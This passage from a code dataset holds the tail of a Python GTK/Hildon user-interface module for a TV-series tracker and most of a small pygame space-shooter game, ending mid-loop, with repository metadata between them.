self.get_model().update()\n\n def select_none(self):\n self._set_episodes_selection(False)\n self.get_model().update()\n\n def _set_episodes_selection(self, mark):\n model = self.get_model()\n for path in model or []:\n path[model.CHECK_COLUMN] = \\\n path[model.EPISODE_COLUMN].watched = mark\n path[model.EPISODE_COLUMN].updated()\n\nclass EpisodeView(hildon.StackableWindow):\n\n def __init__(self, episode):\n super(EpisodeView, self).__init__()\n self.episode = episode\n\n self.set_app_menu(self._create_menu())\n\n contents_area = hildon.PannableArea()\n contents_area.connect('horizontal-movement',\n self._horizontal_movement_cb)\n contents = gtk.VBox(False, 0)\n contents_area.add_with_viewport(contents)\n\n self.infotextview = InfoTextView()\n self._update_info_text_view()\n contents.add(self.infotextview)\n\n self.add(contents_area)\n\n def _update_info_text_view(self):\n self.infotextview.clear()\n self._set_episode_title()\n self.check_button.set_active(self.episode.watched)\n self.infotextview.add_field(self.episode.overview)\n self.infotextview.add_field('\\n')\n self.infotextview.add_field(self.episode.get_air_date_text(),\n _('Original air date'))\n self.infotextview.add_field(self.episode.director, _('Director'))\n self.infotextview.add_field(self.episode.writer, _('Writer'))\n self.infotextview.add_field(self.episode.guest_stars, _('Guest stars'))\n self.infotextview.add_field(self.episode.rating, _('Rating'))\n self.set_title(self.episode.name)\n\n def _set_episode_title(self):\n self.infotextview.set_title('%(number)s - %(name)s' % {'name': self.episode.name,\n 'number': self.episode.get_episode_show_number()},\n self.episode.watched)\n\n def _create_menu(self):\n menu = hildon.AppMenu()\n\n button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n button.set_label(_('Edit info'))\n button.connect('clicked', self._edit_episode_cb)\n menu.append(button)\n\n self.check_button = hildon.CheckButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.check_button.set_label(_('Watched'))\n self.check_button.set_active(self.episode.watched)\n self.check_button.connect('toggled', self._watched_button_toggled_cb)\n menu.append(self.check_button)\n\n menu.show_all()\n return menu\n\n def _edit_episode_cb(self, button):\n edit_episode_dialog = EditEpisodeDialog(self,\n self.episode)\n response = edit_episode_dialog.run()\n if response == gtk.RESPONSE_ACCEPT:\n episode_info = edit_episode_dialog.get_info()\n self.episode.name = episode_info['name']\n self.episode.overview = episode_info['overview']\n self.episode.season_number = episode_info['season']\n self.episode.episode_number = episode_info['number']\n self.episode.air_date = episode_info['air_date']\n self.episode.director = episode_info['director']\n self.episode.writer = episode_info['writer']\n self.episode.rating = episode_info['rating']\n self.episode.guest_stars = episode_info['guest_stars']\n self.episode.updated()\n self._update_info_text_view()\n edit_episode_dialog.destroy()\n\n def _horizontal_movement_cb(self, pannable_area, direction,\n initial_x, initial_y):\n if direction == hildon.MOVEMENT_LEFT:\n episode = self.episode.show.get_next_episode(self.episode)\n else:\n episode = self.episode.show.get_previous_episode(self.episode)\n if episode:\n self.episode = episode\n self._update_info_text_view()\n\n def _watched_button_toggled_cb(self, button):\n self.episode.watched = button.get_active()\n self.episode.updated()\n self._set_episode_title()\n\nclass EpisodesDeleteView(DeleteView):\n\n def __init__(self, show):\n self.episodes_select_view = EpisodesSelectView()\n super(EpisodesDeleteView, self).__init__(self.episodes_select_view,\n _('Delete episodes'),\n _('Delete'))\n self.show = show\n self.toolbar.connect('button-clicked',\n self._button_clicked_cb)\n\n def _button_clicked_cb(self, button):\n selection = self.episodes_select_view.get_selection()\n selected_rows = selection.get_selected_rows()\n model, paths = selected_rows\n if not paths:\n show_information(self, _('Please select one or more episodes'))\n return\n for path in paths:\n self.show.delete_episode(model[path][1])\n self.destroy()\n\nclass EpisodesSelectView(gtk.TreeView):\n\n def __init__(self):\n super(EpisodesSelectView, self).__init__()\n model = gtk.ListStore(str, gobject.TYPE_PYOBJECT)\n column = gtk.TreeViewColumn('Name', gtk.CellRendererText(), text = 0)\n self.append_column(column)\n self.set_model(model)\n\n def set_episodes(self, episode_list):\n model = self.get_model()\n model.clear()\n for episode in episode_list:\n name = str(episode)\n model.append([name, episode])\n\n def get_episode_from_path(self, path):\n model = self.get_model()\n iter = model.get_iter(path)\n episode = model.get_value(iter, 1)\n return episode\n\nclass InfoTextView(hildon.TextView):\n\n TEXT_TAG = 'title'\n\n def __init__(self):\n super(InfoTextView, self).__init__()\n\n buffer = gtk.TextBuffer()\n\n self.set_buffer(buffer)\n self.set_wrap_mode(gtk.WRAP_WORD)\n self.set_editable(False)\n self.set_cursor_visible(False)\n\n def set_title(self, title, strike = False):\n if not title:\n return\n text_buffer = self.get_buffer()\n tag_table = text_buffer.get_tag_table()\n title_tag = tag_table.lookup(self.TEXT_TAG)\n if not title_tag:\n title_tag = gtk.TextTag(self.TEXT_TAG)\n tag_table.add(title_tag)\n else:\n title_end_iter = text_buffer.get_start_iter()\n if not title_end_iter.forward_to_tag_toggle(title_tag):\n title_end_iter = text_buffer.get_start_iter()\n text_buffer.delete(text_buffer.get_start_iter(),\n title_end_iter)\n\n title_tag.set_property('weight', pango.WEIGHT_BOLD)\n title_tag.set_property('size', pango.units_from_double(24.0))\n title_tag.set_property('underline-set', True)\n title_tag.set_property('strikethrough', strike)\n text_buffer.insert_with_tags(text_buffer.get_start_iter(), str(title) + '\\n', title_tag)\n\n def add_field(self, contents, label = None):\n if not contents:\n return\n if label:\n contents = _('\\n%(label)s: %(contents)s') % {'label': label,\n 'contents': contents,\n }\n self.get_buffer().insert(self.get_buffer().get_end_iter(), contents)\n\n def clear(self):\n buffer = self.get_buffer()\n if not buffer:\n return\n buffer.delete(buffer.get_start_iter(), buffer.get_end_iter())\n\nclass LiveSearchEntry(gtk.HBox):\n\n def __init__(self, tree_model, tree_filter, filter_column = 0):\n super(LiveSearchEntry, self).__init__()\n self.tree_model = tree_model\n self.tree_filter = tree_filter\n if not self.tree_model or not self.tree_filter:\n return\n self.filter_column = filter_column\n self.tree_filter.set_visible_func(self._tree_filter_func)\n self.entry = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.entry.set_input_mode(gtk.HILDON_GTK_INPUT_MODE_FULL)\n self.entry.show()\n self.entry.connect('changed',\n self._entry_changed_cb)\n self.cancel_button = gtk.ToolButton()\n image = gtk.image_new_from_icon_name('general_close',\n gtk.ICON_SIZE_LARGE_TOOLBAR)\n if image:\n self.cancel_button.set_icon_widget(image)\n else:\n self.cancel_button.set_label(_('Cancel'))\n self.cancel_button.set_size_request(self.cancel_button.get_size_request()[1], -1)\n self.cancel_button.show()\n self.cancel_button.connect('clicked', self._cancel_button_clicked_cb)\n self.pack_start(self.entry)\n self.pack_start(self.cancel_button, False, False)\n\n def _cancel_button_clicked_cb(self, button):\n self.hide()\n self.entry.set_text('')\n\n def _tree_filter_func(self, model, iter):\n info = model.get_value(iter, self.filter_column) or ''\n text_to_filter = self.entry.get_text().strip()\n if not text_to_filter:\n return True\n expr = re.compile('(.*\\s+)*(%s)' % re.escape(text_to_filter.lower()))\n if expr.match(info):\n return True\n return False\n\n def _entry_changed_cb(self, entry):\n self.tree_filter.refilter()\n if not entry.get_text():\n self.hide()\n\n def show(self):\n gtk.HBox.show(self)\n self.entry.grab_focus()\n\n def hide(self):\n gtk.HBox.hide(self)\n self.entry.set_text('')\n\nclass NewShowsDialog(gtk.Dialog):\n\n ADD_AUTOMATICALLY_RESPONSE = 1 << 0\n ADD_MANUALLY_RESPONSE = 1 << 1\n\n def __init__(self, parent):\n super(NewShowsDialog, self).__init__(parent = parent)\n self.set_title(_('Add shows'))\n contents = gtk.HBox(True, 0)\n self.search_shows_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.search_shows_button.set_label(_('Search shows'))\n self.search_shows_button.connect('clicked', self._button_clicked_cb)\n self.manual_add_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.manual_add_button.set_label(_('Add manually'))\n self.manual_add_button.connect('clicked', self._button_clicked_cb)\n contents.add(self.search_shows_button)\n contents.add(self.manual_add_button)\n self.vbox.add(contents)\n self.vbox.show_all()\n parent.connection_manager.connect('connection-changed',\n self._on_connection_changed)\n self._on_connection_changed(parent.connection_manager)\n\n def _button_clicked_cb(self, button):\n if button == self.search_shows_button:\n self.response(self.ADD_AUTOMATICALLY_RESPONSE)\n elif button == self.manual_add_button:\n self.response(self.ADD_MANUALLY_RESPONSE)\n\n def _on_connection_changed(self, connection_manager):\n if connection_manager.is_online():\n self.search_shows_button.show()\n else:\n self.search_shows_button.hide()\n\nclass FoundShowListStore(gtk.ListStore):\n\n NAME_COLUMN = 0\n MARKUP_COLUMN = 1\n\n def __init__(self):\n super(FoundShowListStore, self).__init__(str, str)\n\n def add_shows(self, shows):\n self.clear()\n for name in shows:\n markup_name = saxutils.escape(str(name))\n if self.series_manager.get_show_by_name(name):\n row = {self.NAME_COLUMN: name,\n self.MARKUP_COLUMN: '%s' % \\\n (get_color(constants.ACTIVE_TEXT_COLOR), markup_name)}\n else:\n row = {self.NAME_COLUMN: name,\n self.MARKUP_COLUMN: '%s' % markup_name}\n self.append(row.values())\n\nclass SearchShowsDialog(gtk.Dialog):\n\n def __init__(self, parent, series_manager, settings):\n super(SearchShowsDialog, self).__init__(parent = parent)\n self.set_title(_('Search shows'))\n\n self.series_manager = series_manager\n self.series_manager.connect('search-shows-complete', self._search_shows_complete_cb)\n self.settings = settings\n self.connect('response', self._response_cb)\n\n self.chosen_show = None\n self.chosen_lang = None\n\n self.shows_view = hildon.GtkTreeView(gtk.HILDON_UI_MODE_EDIT)\n model = FoundShowListStore()\n model.series_manager = series_manager\n show_renderer = gtk.CellRendererText()\n show_renderer.set_property('ellipsize', pango.ELLIPSIZE_END)\n column = gtk.TreeViewColumn('Name', show_renderer, markup = model.MARKUP_COLUMN)\n self.shows_view.set_model(model)\n self.shows_view.append_column(column)\n\n self.search_entry = hildon.Entry(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.search_entry.connect('changed', self._search_entry_changed_cb)\n self.search_entry.connect('activate', self._search_entry_activated_cb)\n self.search_button = hildon.GtkButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n self.search_button.set_label(_('Search'))\n self.search_button.connect('clicked', self._search_button_clicked)\n self.search_button.set_sensitive(False)\n self.search_button.set_size_request(150, -1)\n search_contents = gtk.HBox(False, 0)\n search_contents.pack_start(self.search_entry, True, True, 0)\n search_contents.pack_start(self.search_button, False, False, 0)\n self.vbox.pack_start(search_contents, False, False, 0)\n\n self.lang_store = gtk.ListStore(str, str);\n for langid, langdesc in self.series_manager.get_languages().iteritems():\n self.lang_store.append([langid, langdesc])\n lang_button = hildon.PickerButton(gtk.HILDON_SIZE_AUTO, hildon.BUTTON_ARRANGEMENT_VERTICAL)\n lang_button.set_title(_('Language'))\n self.lang_selector = hildon.TouchSelector()\n lang_column = self.lang_selector.append_column(self.lang_store, gtk.CellRendererText(), text=1)\n lang_column.set_property(\"text-column\", 1)\n self.lang_selector.set_column_selection_mode(hildon.TOUCH_SELECTOR_SELECTION_MODE_SINGLE)\n lang_button.set_selector(self.lang_selector)\n try:\n self.lang_selector.set_active(0, self.series_manager.get_languages().keys().index(self.settings.getConf(Settings.SEARCH_LANGUAGE)))\n except ValueError:\n pass\n lang_button.connect('value-changed',\n self._language_changed_cb)\n\n shows_area = hildon.PannableArea()\n shows_area.add(self.shows_view)\n shows_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN)\n self.vbox.add(shows_area)\n\n self.action_area.pack_start(lang_button, True, True, 0)\n self.ok_button = self.add_button(gtk.STOCK_OK, gtk.RESPONSE_ACCEPT)\n self.ok_button.set_sensitive(False)\n self.action_area.show_all()\n\n self.vbox.show_all()\n self.set_size_request(-1, 400)\n\n def _language_changed_cb(self, button):\n self.settings.setConf(Settings.SEARCH_LANGUAGE,\n self.lang_store[button.get_active()][0])\n\n def _search_entry_changed_cb(self, entry):\n enable = self.search_entry.get_text().strip()\n self.search_button.set_sensitive(bool(enable))\n\n def _search_entry_activated_cb(self, entry):\n self._search()\n\n def _search_button_clicked(self, button):\n self._search()\n\n def _search(self):\n self._set_controls_sensitive(False)\n hildon.hildon_gtk_window_set_progress_indicator(self, True)\n search_terms = self.search_entry.get_text()\n if not self.search_entry.get_text():\n return\n selected_row = self.lang_selector.get_active(0)\n if selected_row < 0:\n self.series_manager.search_shows(search_terms)\n else:\n lang = self.lang_store[selected_row][0]\n self.series_manager.search_shows(search_terms, lang)\n\n def _search_shows_complete_cb(self, series_manager, shows, error):\n if error:\n error_message = ''\n if 'socket' in str(error).lower():\n error_message = '\\n ' + _('Please verify your internet connection '\n 'is available')\n show_information(self, _('An error occurred. %s') % error_message)\n else:\n model = self.shows_view.get_model()\n if not model:\n return\n model.clear()\n if shows:\n model.add_shows(shows)\n self.ok_button.set_sensitive(True)\n else:\n self.ok_button.set_sensitive(False)\n hildon.hildon_gtk_window_set_progress_indicator(self, False)\n self._set_controls_sensitive(True)\n\n def _set_controls_sensitive(self, sensitive):\n self.search_entry.set_sensitive(sensitive)\n self.search_button.set_sensitive(sensitive)\n\n def _response_cb(self, dialog, response):\n selection = self.shows_view.get_selection()\n model, paths = selection.get_selected_rows()\n for path in paths:\n iter = model.get_iter(path)\n text = model.get_value(iter, model.NAME_COLUMN)\n self.chosen_show = text\n selected_lang = self.lang_selector.get_active(0)\n if selected_lang >= 0:\n self.chosen_lang = self.lang_store[self.lang_selector.get_active(0)][0]\n\nclass AboutDialog(gtk.Dialog):\n\n PADDING = 5\n\n def __init__(self, parent):\n super(AboutDialog, self).__init__(parent = parent,\n flags = gtk.DIALOG_DESTROY_WITH_PARENT)\n self._logo = gtk.Image()\n self._name = ''\n self._name_label = gtk.Label()\n self._version = ''\n self._comments_label = gtk.Label()\n self._copyright_label = gtk.Label()\n self._license_label = gtk.Label()\n _license_alignment = gtk.Alignment(0, 0, 0, 1)\n _license_alignment.add(self._license_label)\n self._license_label.set_line_wrap(True)\n\n self._writers_caption = gtk.Label()\n self._writers_caption.set_markup('%s' % _('Authors:'))\n _writers_caption = gtk.Alignment()\n _writers_caption.add(self._writers_caption)\n self._writers_label = gtk.Label()\n self._writers_contents = gtk.VBox(False, 0)\n self._writers_contents.pack_start(_writers_caption)\n _writers_alignment = gtk.Alignment(0.2, 0, 0, 1)\n _writers_alignment.add(self._writers_label)\n self._writers_contents.pack_start(_writers_alignment)\n\n _contents = gtk.VBox(False, 0)\n _contents.pack_start(self._logo, False, False, self.PADDING)\n _contents.pack_start(self._name_label, False, False, self.PADDING)\n _contents.pack_start(self._comments_label, False, False, self.PADDING)\n _contents.pack_start(self._copyright_label, False, False, self.PADDING)\n _contents.pack_start(self._writers_contents, False, False, self.PADDING)\n _contents.pack_start(_license_alignment, False, False, self.PADDING)\n\n _contents_area = hildon.PannableArea()\n _contents_area.add_with_viewport(_contents)\n _contents_area.set_size_request_policy(hildon.SIZE_REQUEST_CHILDREN)\n self.vbox.add(_contents_area)\n self.vbox.show_all()\n self._writers_contents.hide()\n\n def set_logo(self, logo_path):\n self._logo.set_from_file(logo_path)\n\n def set_name(self, name):\n self._name = name\n self.set_version(self._version)\n self.set_title(_('About %s') % self._name)\n\n def _set_name_label(self, name):\n self._name_label.set_markup('%s' % name)\n\n def set_version(self, version):\n self._version = version\n self._set_name_label('%s %s' % (self._name, self._version))\n\n def set_comments(self, comments):\n self._comments_label.set_text(comments)\n\n def set_copyright(self, copyright):\n self._copyright_label.set_markup('%s' % copyright)\n\n def set_license(self, license):\n self._license_label.set_markup('%s\\n%s' % \\\n (_('License:'), license))\n\n def set_authors(self, authors_list):\n authors = '\\n'.join(authors_list)\n self._writers_label.set_text(authors)\n self._writers_contents.show_all()\n\nclass SettingsDialog(gtk.Dialog):\n\n def __init__(self, parent):\n super(SettingsDialog, self).__init__(parent = parent,\n title = _('Settings'),\n flags = gtk.DIALOG_DESTROY_WITH_PARENT,\n buttons = (gtk.STOCK_SAVE,\n gtk.RESPONSE_ACCEPT))\n self.settings = Settings()\n self.vbox.pack_start(self._create_screen_rotation_settings())\n self.vbox.pack_start(self._create_shows_settings())\n self.vbox.pack_start(self._create_episodes_check_settings())\n self.vbox.show_all()\n\n def _create_screen_rotation_settings(self):\n picker_button = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT,\n hildon.BUTTON_ARRANGEMENT_HORIZONTAL)\n picker_button.set_alignment(0, 0.5, 0, 1)\n picker_button.set_done_button_text(_('Done'))\n selector = hildon.TouchSelector(text = True)\n picker_button.set_title(_('Screen rotation:'))\n modes = [_('Automatic'), _('Portrait'), _('Landscape')]\n for mode in modes:\n selector.append_text(mode)\n picker_button.set_selector(selector)\n picker_button.set_active(self.settings.getConf(Settings.SCREEN_ROTATION))\n picker_button.connect('value-changed',\n self._screen_rotation_picker_button_changed_cb)\n return picker_button\n\n def _create_shows_settings(self):\n check_button = hildon.CheckButton(gtk.HILDON_SIZE_FINGER_HEIGHT)\n check_button.set_label(_('Add special seasons'))\n check_button.set_active(self.settings.getConf(Settings.ADD_SPECIAL_SEASONS))\n check_button.connect('toggled',\n self._special_seasons_check_button_toggled_cb)\n return check_button\n\n def _create_episodes_check_settings(self):\n picker_button = hildon.PickerButton(gtk.HILDON_SIZE_FINGER_HEIGHT,\n hildon.BUTTON_ARRANGEMENT_HORIZONTAL)\n picker_button.set_title(_('Episodes check position:'))\n picker_button.set_alignment(0, 0.5, 0, 1)\n selector = hildon.TouchSelector(text = True)\n selector.append_text(_('Left'))\n selector.append_text(_('Right'))\n picker_button.set_selector(selector)\n picker_button.set_active(self.settings.getConf(Settings.EPISODES_CHECK_POSITION))\n picker_button.connect('value-changed',\n self._episodes_check_picker_button_changed_cb)\n return picker_button\n\n def _special_seasons_check_button_toggled_cb(self, button):\n self.settings.setConf(Settings.ADD_SPECIAL_SEASONS, button.get_active())\n\n def _screen_rotation_picker_button_changed_cb(self, button):\n self.settings.setConf(Settings.SCREEN_ROTATION, button.get_active())\n\n def _episodes_check_picker_button_changed_cb(self, button):\n self.settings.setConf(Settings.EPISODES_CHECK_POSITION,\n button.get_active())\n\ndef show_information(parent, message):\n hildon.hildon_banner_show_information(parent,\n '',\n message)\n\ndef pixbuf_is_cover(pixbuf):\n if pixbuf:\n return not bool(pixbuf.get_data('is_placeholder'))\n return False\n\ndef get_downloading_pixbuf():\n pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(constants.DOWNLOADING_IMAGE,\n constants.IMAGE_WIDTH,\n constants.IMAGE_HEIGHT)\n pixbuf.set_data('is_placeholder', True)\n return pixbuf\n\ndef get_placeholder_pixbuf():\n pixbuf = gtk.gdk.pixbuf_new_from_file_at_size(constants.PLACEHOLDER_IMAGE,\n constants.IMAGE_WIDTH,\n constants.IMAGE_HEIGHT)\n pixbuf.set_data('is_placeholder', True)\n return pixbuf\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":656,"cells":{"__id__":{"kind":"number","value":171798697426,"string":"171,798,697,426"},"blob_id":{"kind":"string","value":"7817c762825d308a4fc327ab3ac1fba00b7ef39c"},"directory_id":{"kind":"string","value":"a7bbbff6e4f1f011441b24b21d9334b6ad1001a1"},"path":{"kind":"string","value":"/ld28.py"},"content_id":{"kind":"string","value":"9a93dbe947d232883f4bb5198a634261b415c911"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"adahera222/LD28-2"},"repo_url":{"kind":"string","value":"https://github.com/adahera222/LD28-2"},"snapshot_id":{"kind":"string","value":"e069f90517171320099dc1ac4e9afeca49e7c414"},"revision_id":{"kind":"string","value":"9048bbbb15159860fc8a681a2ad48c00fa9b71c5"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-12T20:15:33.197935","string":"2021-01-12T20:15:33.197935"},"revision_date":{"kind":"timestamp","value":"2013-12-16T01:41:50","string":"2013-12-16T01:41:50"},"committer_date":{"kind":"timestamp","value":"2013-12-16T01:41:50","string":"2013-12-16T01:41:50"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\nimport os.path, random, operator, math\n\n# import basic pygame modules\nimport pygame\nfrom pygame.locals import *\n\n# game constants\nSCREENRECT = Rect(0, 0, 1920, 1080)\nMAX_SHOTS = 1\nENEMY_RELOAD = 20\nENEMY_ODDS = 25\nSCORE = 0\nBOMB_ODDS = 10\n\nmain_dir = os.path.split(os.path.abspath(__file__))[0]\n\ndef load_image(file):\n \"loads an image, prepares it for play\"\n file = os.path.join(main_dir, 'data', file)\n try:\n surface = pygame.image.load(file)\n except pygame.error:\n raise SystemExit('Could not load image \"%s\" %s'%(file, pygame.get_error()))\n return surface.convert()\n\ndef load_images(*files):\n imgs = []\n for file in files:\n imgs.append(load_image(file))\n return imgs\n\nclass dummysound:\n def play(self): pass\n\ndef load_sound(file):\n if not pygame.mixer: return dummysound()\n file = os.path.join(main_dir, 'data', file)\n try:\n sound = pygame.mixer.Sound(file)\n return sound\n except pygame.error:\n print ('Warning, unable to load, %s' % file)\n return dummysound()\n\nclass Player(pygame.sprite.Sprite):\n speed = 10\n images = []\n def __init__(self):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.image = self.images[0]\n self.rect = self.image.get_rect(midbottom=SCREENRECT.midbottom)\n self.reloading = 0\n self.origtop = self.rect.top\n self.facing = -1\n self.padding = 32\n self.hitbox = pygame.Rect(map(operator.add, self.rect, (self.padding, self.padding, -self.padding*2, -self.padding*2)))\n\n def update(self):\n self.hitbox = pygame.Rect(map(operator.add, self.rect, (self.padding, self.padding, -self.padding*2, -self.padding*2)))\n\n def move(self, direction):\n self.rect.move_ip(direction[0]*self.speed, direction[1]*self.speed)\n self.rect = self.rect.clamp(SCREENRECT)\n\nclass Shot(pygame.sprite.Sprite):\n speed = -11\n images = []\n def __init__(self, pos, t=None):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.image = self.images[0]\n self.rect = self.image.get_rect(midbottom=pos)\n self.homing = False if (t == None) else True\n self.target = t\n\n def update(self):\n if self.homing and self.target != None:\n dx = self.target.rect.x + self.target.rect.width/2 - self.rect.x - self.rect.width/2\n if (dx > 0):\n dx = min(dx, math.fabs(self.speed))\n else:\n dx = max(dx, -math.fabs(self.speed))\n self.rect.move_ip(dx, self.speed)\n else:\n self.rect.move_ip(0, self.speed)\n if self.rect.top <= 0:\n self.speed = math.fabs(self.speed)\n self.homing = True\n if self.rect.bottom >= SCREENRECT.height:\n self.speed = -math.fabs(self.speed)\n self.rect = self.rect.clamp(SCREENRECT)\n\nclass Enemy(pygame.sprite.Sprite):\n speed = 10\n animcycle = 12\n images = []\n def __init__(self):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.image = self.images[0]\n self.rect = self.image.get_rect()\n self.facing = random.choice((-1,1)) * Enemy.speed\n self.ydir = 1\n if self.facing < 0:\n self.rect.right = SCREENRECT.right\n\n def update(self):\n self.rect.move_ip(self.facing, 0)\n if not SCREENRECT.contains(self.rect):\n self.facing = -self.facing;\n if self.ydir == 1:\n self.rect.top = self.rect.bottom + 1\n else:\n self.rect.bottom = self.rect.top - 1\n if self.rect.bottom > SCREENRECT.height:\n self.ydir = -math.fabs(self.ydir)\n if self.rect.top < 0:\n self.ydir = math.fabs(self.ydir)\n self.rect = self.rect.clamp(SCREENRECT)\n\nclass Explosion(pygame.sprite.Sprite):\n defaultlife = 12\n animcycle = 3\n images = []\n def __init__(self, actor):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.image = self.images[0]\n self.rect = self.image.get_rect(center=actor.rect.center)\n self.life = self.defaultlife\n\n def update(self):\n self.life = self.life - 1\n self.image = self.images[self.life//self.animcycle%2]\n if self.life <= 0: self.kill()\n\nclass Bomb(pygame.sprite.Sprite):\n speed = 9\n images = []\n def __init__(self, alien):\n pygame.sprite.Sprite.__init__(self, self.containers)\n self.image = self.images[0]\n self.rect = self.image.get_rect(midbottom=\n alien.rect.move(0,5).midbottom)\n\n def update(self):\n self.rect.move_ip(0, self.speed)\n if self.rect.bottom >= SCREENRECT.height - 32:\n Explosion(self)\n self.kill()\n\nclass Score(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.font = pygame.font.Font(None, 20)\n self.font.set_italic(1)\n self.color = Color('white')\n self.lastscore = -1\n self.update()\n self.rect = self.image.get_rect().move(20, SCREENRECT.height - 20)\n\n def update(self):\n if SCORE != self.lastscore:\n self.lastscore = SCORE\n msg = \"Score: %d\" % SCORE\n self.image = self.font.render(msg, 0, self.color)\n\nclass Starfield():\n def __init__(self, screen):\n global stars\n stars = []\n for i in range(200):\n star = [random.randrange(0,SCREENRECT.width), random.randrange(0,SCREENRECT.height), random.choice([1,2,3])]\n stars.append(star)\n\n def update(self, screen):\n global stars\n for star in stars:\n star[1] += star[2]\n if star[1] >= SCREENRECT.height:\n star[1] = 0\n star[0] = random.randrange(0,SCREENRECT.width)\n star[2] = random.choice([1,2,3])\n\n if star[2] == 1:\n color = (100,100,100)\n elif star[2] == 2:\n color = (190,190,190)\n elif star[2] == 3:\n color = (255,255,255)\n\n pygame.draw.rect(screen, color, (star[0],star[1],star[2],star[2]))\n\ndef main():\n pygame.init()\n random.seed()\n\n #Detect and initialize joysticks for input\n pygame.joystick.init()\n joysticks = []\n for i in range(0, pygame.joystick.get_count()):\n joysticks.append(pygame.joystick.Joystick(i))\n joysticks[-1].init()\n\n if pygame.mixer and not pygame.mixer.get_init():\n print ('Warning, no sound')\n pygame.mixer = None\n\n fps = 60\n fps_clock = pygame.time.Clock()\n screen_width, screen_height = 1920, 1080\n winstyle = pygame.FULLSCREEN\n bestdepth = pygame.display.mode_ok(SCREENRECT.size, winstyle, 32)\n screen = pygame.display.set_mode(SCREENRECT.size, winstyle, bestdepth)\n game_over = False\n\n Player.images = [load_image('player_ship.gif')]\n img = load_image('explosion.gif')\n Explosion.images = [img, pygame.transform.flip(img, 1, 1)]\n Shot.images = [load_image('shot.gif')]\n Enemy.images = [load_image('enemy.gif')]\n Bomb.images = [load_image('bomb.gif')]\n\n icon = pygame.transform.scale(Enemy.images[0], (32, 32))\n pygame.display.set_icon(icon)\n pygame.display.set_caption('Pygame Aliens')\n pygame.mouse.set_visible(0)\n\n # initialize game groups\n enemies = pygame.sprite.Group()\n shots = pygame.sprite.Group()\n bombs = pygame.sprite.Group()\n all = pygame.sprite.RenderUpdates()\n lastenemy = pygame.sprite.GroupSingle()\n\n # assign default groups to each sprite class\n Player.containers = all\n Enemy.containers = enemies, all, lastenemy\n Shot.containers = shots, all\n Bomb.containers = bombs, all\n Explosion.containers = all\n Score.containers = all\n\n # load the sound effects/music\n explode_sound = load_sound('explode.wav')\n shoot_sound = load_sound('shoot1.wav')\n if pygame.mixer:\n music = os.path.join(main_dir, 'data', 'bgmusic.mid')\n pygame.mixer.music.load(music)\n pygame.mixer.music.play(-1)\n\n global score\n enemy_reload = ENEMY_RELOAD\n kills = 0\n\n global SCORE\n player = Player()\n Enemy()\n if pygame.font:\n all.add(Score())\n\n starfield = Starfield(screen)\n\n while not game_over: #main game loop\n for event in pygame.event.get():\n if event.type == QUIT or event.type == KEYDOWN and \\\n (event.key == K_ESCAPE or event.key == K_LEFTBRACKET or event.key == K_RIGHTBRACKET):\n game_over = True\n keystate = pygame.key.get_pressed()\n\n screen.fill((0,0,0))\n starfield.update(screen)\n\n #update all the sprites\n all.update()\n\n #handle player input\n (dx, dy) = (keystate[K_RIGHT] - keystate[K_LEFT], keystate[K_DOWN] - keystate[K_UP])\n if pygame.joystick.get_count() > 0:\n (dx, dy) = pygame.joystick.Joystick(0).get_hat(0)\n dy = -dy\n firing = keystate[K_SPACE]\n if pygame.joystick.get_count() > 0:\n firing = pygame.joystick.Joystick(0).get_button(0)\n if not player.reloading and firing and len(shots) < MAX_SHOTS:\n Shot((player.rect.centerx, player.rect.top), player)\n shoot_sound.play()\n player.reloading = firing\n player.move((dx, dy))\n firing = keystate[K_SPACE]\n if pygame.joystick.get_count() > 0:\n firing = pygame.joystick.Joystick(0).get_button(0)\n\n # create new enemy\n if enemy_reload:\n enemy_reload -= 1\n elif not int(random.random() * ENEMY_ODDS):\n Enemy()\n enemy_reload = ENEMY_RELOAD\n\n # drop bombs\n if lastenemy and not int(random.random() * BOMB_ODDS):\n Bomb(lastenemy.sprite)\n\n # detect collisions\n for enemy in enemies.sprites():\n if (player.hitbox.colliderect(enemy.rect)):\n explode_sound.play()\n Explosion(enemy)\n Explosion(player)\n SCORE = SCORE + 1\n player.kill()\n game_over = True\n\n for shot in pygame.sprite.groupcollide(shots, enemies, 0, 1).keys():\n explode_sound.play()\n Explosion(shot)\n shot.speed = -shot.speed\n shot.homing = True\n SCORE = SCORE + 1\n\n for shot in shots.sprites():\n if player.hitbox.colliderect(shot.rect):\n shot.kill()\n\n for bomb in bombs.sprites():\n if (player.hitbox.colliderect(bomb.rect)):\n explode_sound.play()\n Explosion(bomb)\n bomb.kill()\n player.kill()\n game_over = True\n\n all.draw(screen)\n 